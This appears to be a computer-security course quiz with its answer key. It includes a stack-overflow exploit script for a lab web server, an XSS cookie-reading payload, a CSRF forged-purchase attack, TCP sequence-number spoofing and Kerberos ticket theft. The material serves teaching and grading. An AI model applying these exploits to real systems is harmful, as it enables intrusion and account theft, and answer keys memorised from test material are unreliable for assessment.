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I Lab 1 

The following is a working exploit for exercise 2 in lab 1: 

reqpath = 0xbfffedf8 
ebp = 0xbffff608 
retaddr = ebp + 4 

def build_exploit(shellcode): 
req = ("GET ////" +
 

urllib.quote(shellcode) +
 
"x" * (retaddr - reqpath - (len(shellcode)+8)) +
 
"yyyy" +
 
urllib.quote(struct.pack("I", reqpath+4)) +
 
" HTTP/1.0\r\n\r\n")
 

return req 

The stack frame that is being attacked is the following: 

static void process_client(int fd) 
{ 

static char env[8192]; /* static variables are not on the stack */ 
static size_t env_len; 
char reqpath[2048]; 
const char *errmsg; 
int i; 

/* get the request line */ 
if ((errmsg = http_request_line(fd, reqpath, env, &env_len))) 

return http_err(fd, 500, "http_request_line: %s", errmsg); 

... 

The function http_request_line overruns reqpath. 
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1. [11 points]: 

The following stack diagram corresponds to the state of the vulnerable web server right after http_request_line 
returns but before process_client returns. Fill in this diagram as follows: 

•	 Fill in all stack memory contents that you can determine based on the exploit shown. You must fill
 
in the return address, saved %ebp, contents of the entire reqpath buffer, and anything in between
 
them. You don’t need to write down the exact number of “x” bytes.
 

•	 Write down the memory addresses (on the left of the stack diagram) for the reqpath buffer, the
 
%ebp register saved by process_client, and the return address that process_client will
 
use.
 

•	 Label the location of the saved %ebp and the return address on the right of the stack diagram, in
 
the way that the reqpath buffer is already labeled.
 

reqpath

Virtual memory address

0xffffffff

0x00000000
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Answer: 

reqpath

Virtual memory address

0xffffffff

0x00000000

0xbffff60c

0xbffff608

0xbfffedf8
/ / / / 

Shell code

x

x

x

x

x (16 times)

saved %ebp

return address
0xbfffedfc

y y y y 
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II Baggy Bounds Checking
 

Consider the implementation of Baggy Bounds Checking described in the paper (i.e., the 32-bit version of 
Baggy with slot_size=16) and the following code fragment: 

1. char *p, *q; 
2. char *a, *b, *c, *d, *e, *f; 
3. 
4. p = malloc(48); 
5. q = malloc(16); 
6. 
7. a = p + 46; 
8. b = a + 10; 
9. *b = ’\0’; 
10. c = b + 10; 
11. d = c + 10; 
12. e = d - 32; 
13. *e = ’\0’; 
14. 
15. p = q; 
16. f = p + 8; 

Assume that p and q are allocated right after each other, but with the alignment rules that Baggy Bounds 
Checking uses. 

2. [7 points]: Will Baggy Bounds Checking cause an exception at any of the above lines, or will the 
program terminate without an error? Explain your answer briefly. 

A. Program terminates without an error. 

B. Program raises an error on line number: ______________ 

Explanation:
 

Answer: Error on line 11, because the value of d is 76 bytes beyond p, which is more than half a slot
 
size (8 bytes) over the power-of-2 allocation size for p (64 bytes).
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III Lab 2
 

3. [5 points]: The following fragment shows a few lines from chroot-setup.sh to setup the 
transfer database after implementing privilege separation: 

python /jail/zoobar/zoodb.py init-transfer 
chown -R 61013:61007 /jail/zoobar/db/transfer 
chmod -R g-w /jail/zoobar/db/transfer 
## g stands for group; this maps to clearing 020 in octal 

chmod -R o+rw /jail/zoobar/db/transfer 
## o stands for other; this maps to adding 006 in octal 

UID 61013 corresponds to the bank service, and GID 61007 corresponds to the dynamic zoobar service. 

Can the permissions on the transfer database be set tighter without breaking the functionality of the 
system? If so, explain how, and explain the attack that can take place if you don’t. If not, explain what 
would break if it were any tighter. 

Answer: It should be chmod o-rw /jail/zoobar/db/transfer; the bank is the only service that needs to 
read and write the transfer DB. (Some students also pointed out that if the dynamic service reads the 
transfer DB via RPC, it need not have read access on the DB file.) Otherwise any program on that 
system can modify the transfer DB. 

4. [5 points]: Suppose Alyssa has completed lab 2 and her solution passes all the lab tests. Now 
suppose an adversary can compromise zookld after the zoobar web site has been running for a while. 
What attack can the adversary launch? For example, can the adversary steal zoobars? 

Answer: Yes, zookld runs as root, so it has full privileges, and can arbitrarily modify all files on the 
system, including the zoobars DB. 
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IV Native Client
 

Ben Bitdiddle is designing Native Client for a 32-bit ARM processor instead of x86 (the paper in class was 
about the x86). For the purposes of this question, let us assume that ARM has fixed-sized instructions (4 
bytes long), but does not have the segmentation support (%cs, %ds, etc) that the Native Client on x86 used to 
constrain loads and stores. 

Ben’s plan is to insert extra instructions before every computed jump and every computed memory load 
and store. These extra instructions would AND the computed jump, load, or store address with 0x0ffffffc, 
meaning clearing out the top 4 bits of the address (and also clear the low two bits, to ensure the address is 
4-byte-aligned), and thus constraining the jumps, loads, and stores to the bottom 256 MBytes of the address 
space. For example, suppose register %r1 contains a memory address. Loading the value stored at that address 
into register %r2 would result in the following instructions (in a pseudo-x86-like instruction set notation): 

AND %r1, 0x0ffffffc 
MOV (%r1), %r2 

Much as in the Native Client paper, the attack scenario is that Ben’s Native Client system will be used to 
execute arbitrary code that is received from an unknown source over the network, after it passes Ben’s verifier. 

5. [10 points]: Ben is trying to decide which of Native Client’s original constraints are still necessary 
in his ARM version (see Table 1 in the Native Client paper). In particular, the x86 version of Native 
Client required all code to be aligned to 32-byte boundaries (see constraint C5 in Table 1 of the Native 
Client paper). Is it necessary for Ben’s verifier check this constraint? Explain why or why not. 

Answer: Ben’s verifier does require 32-byte alignment (or something greater than the 4-byte alignment 
provided by the underlying hardware), in order to ensure that computed jumps do not go to the middle 
of a pseudo-instruction, thereby bypassing the extra AND instructions. In the example code sequence 
shown above, jumping to the second instruction with an arbitrary value in %r1 will result in a memory 
load from an unconstrained address. 32-byte alignment is also required to protect springboard and 
trampoline code, so that untrusted code cannot jump into the middle of the springboard or trampoline. 
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V TCP/IP
 

6. [7 points]: Ben Bitdiddle tries to fix the Berkeley TCP/IP implementation, described in Steve 
Bellovin’s paper, by generating initial sequence numbers using this random number generator: 

class RandomGenerator(object): 
def __init__(self, seed): 
self.rnd = seed 

def choose_ISN_s(self):
 
isn = self.rnd
 
self.rnd = hash(self.rnd)
 
return isn
 

Assume that Ben’s server creates a RandomGenerator by passing it a random seed value not known
 
to the adversary, that hash() is a well-known hash function that is difficult to invert, and that the server
 
calls choose_ISN_s to determine the ISNs value for a newly established connection.
 

How can an adversary establish a connection to Ben’s server from an arbitrary source IP address,
 
without being able to snoop on all packets being sent to/from the server?
 

Answer: Open a connection to the server, record the received ISNs value as s, and when attempting to
 
establish a spoofed connection from another IP address, guess that ISNs will be hash(s).
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VI Kerberos
 

In a Unix Kerberos implementation, each user’s tickets (including the TGT ticket for the TGS service) are 
stored in a per-user file in /tmp. The Unix permissions on this file are such that the user’s UID has access to 
that file, but the group and others do not. 

7. [7 points]: Ben Bitdiddle wants to send an email to Alyssa, and to include a copy of the Kerberos 
paper as an attachment, but because he stayed up late studying for this quiz, he accidentally sends his 
Kerberos ticket file as an attachment instead. What can Alyssa do given Ben’s ticket file? Be precise. 

Answer: Access all services as Ben, until Ben’s ticket expires. 

8. [7 points]: Ben Bitdiddle stores his secret files in his Athena AFS home directory. Someone hands 
Alyssa P. Hacker a piece of paper with the key of the Kerberos principal of all-night-tool.mit.edu, 
which is one of the athena.dialup.mit.edu machines. Could Alyssa leverage her knowledge of 
this key to get access to Ben’s secret files? Assume Alyssa cannot intercept network traffic. Explain 
either how she could do so (and in what situations this might be possible), or why it is not possible. 

Answer: Using the key of all-night-tool.mit.edu, Alyssa should construct a ticket impersonating 
Ben to athena.dialup.mit.edu, and use it to log into the dialup as Ben. She should then wait for 
the real Ben to also log in, at which point Ben’s login process will store his tickets into /tmp. Alyssa 
can then steal his tickets on the dialup and use them to impersonate Ben to any server (including AFS). 
Note that Ben’s files are not stored on the dialup server itself, so if Alyssa simply breaks into the dialup 
server, she cannot get access to Ben’s files. 
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VII Web security

9. [7 points]: Ben Bitdiddle sets up a private wiki for his friends, running on scripts.mit.edu, at
http://scripts.mit.edu/~bitdiddl/wiki. Alyssa doesn’t have an account on Ben’s wiki, but
wants to know what Ben and his friends are doing on that wiki. She has her own web site running on
scripts.mit.edu, at http://scripts.mit.edu/~alyssa/.

How can Alyssa get a copy of a given page from Ben’s wiki (say, http://scripts.mit.edu/
~bitdiddl/wiki/Secret)?

Answer: Alyssa should ask Ben or one of his friends to visit her page. On her page, she should create
an iframe pointing to the secret page on Ben’s wiki, and read the contents of that frame using Javascript
code in her own page. The same-origin policy allows this because both Ben’s and Alyssa’s pages have
the same origin (i.e., http://scripts.mit.edu/).
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Ben Bitdiddle gives up on the wiki, and decides to build a system for buying used books, hosted at http:
//benbooks.mit.edu/. His code for handling requests to http://benbooks.mit.edu/buy is as follows:

1. def buy_handler(cookie, param):
2. print "Content-type: text/html\r\n\r\n",
3.
4. user = check_cookie(cookie)
5. if user is None:
6. print "Please log in first"
7. return
8.
9. book = param[’book’]
10. if in_stock(book):
11. ship_book(book, user)
12. print "Order succeeded"
13. else:
14. print "Book", book, "is out of stock"

where the param argument is a dictionary of the query parameters in the HTTP request (i.e., the part of the
URL after the question mark). Assume Ben’s cookie handling function check_cookie correctly checks the
cookie and returns the username of the authenticated user.
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10. [7 points]: Is there a cross-site scripting vulnerability in Ben’s code? If so, specify the line
number that is vulnerable, and explain how Ben should fix it.

Answer: Yes, line 14 is vulnerable to cross-site scripting. An attacker can supply a value of book
that contained something like <script>alert(document.cookie)</script>, and assuming the
in_stock function returned false for that book ID, the web server would print that script tag to the
browser, and the browser will run the code from the URL.

To prevent this vulnerability, wrap book in that line in cgi.escape(book).

11. [7 points]: Is there a cross-site request forgery vulnerability in Ben’s code? If so, specify how an
adversary could exploit it.

Answer: Yes, an adversary can set up a form that submits a request to buy a book to http://
benbooks.mit.edu/buy?book=anyid, and this request will be honored by the server.

To solve this problem, include a token with every legitimate request, in the way that Django CSRF
works, and check that cookie[’csrftoken’]==param[’csrftoken’].

12. [7 points]: Ben decides to port his web application to Django, and use Django’s stateless CSRF
protection. Explain why he should migrate his web application to a separate domain that’s not under
mit.edu.

Answer: Django’s CSRF protection relies on storing the csrftoken in a cookie. For a site hosted
under mit.edu, any other web application under mit.edu can set the csrftoken cookie and break
Django’s CSRF protection.
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13. [7 points]: Ben Bitdiddle moved his book store to https://www.bitdiddlebooks.com/, but
he needs to use the popular jQuery Javascript library to make his web page interactive. He adds the
following line to his web page:

<SCRIPT SRC="http://code.jquery.com/jquery-1.9.1.js">

Provide at least two reasons for why this is a bad idea from a security perspective.

Answer: First, it allows an adversary with access to the network of a visitor to Ben’s web site to inject
arbitrary Javascript code into Ben’s HTTPS page, bypassing any cryptographic protection Ben might
have wanted. Second, it allows an adversary that compromises code.jquery.com to serve arbitrary
Javascript code to run in browsers that visit Ben’s page, even if that adversary doesn’t control the
visitor’s network.
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VIII 6.858 

We’d like to hear your opinions about 6.858. Any answer, except no answer, will receive full credit. 

14. [2 points]: What aspects of the labs were most time-consuming? How can we make them less 
tedious?
 

Answer: Debugging. Too much existing code to read for each lab. Repetitive exercises.
 

15. [2 points]: Are there other things you’d like to see improved in the second half of the semester? 

Answer: More attack labs. More explanation of background material for papers. 

16. [2 points]: Is there one paper out of the ones we have covered so far in 6.858 that you think we 
should definitely remove next year? If not, feel free to say that. 

Answer: The popular answers were Capsicum, KINT, and The Tangled Web (too much reading in 
one assignment). 

End of Quiz
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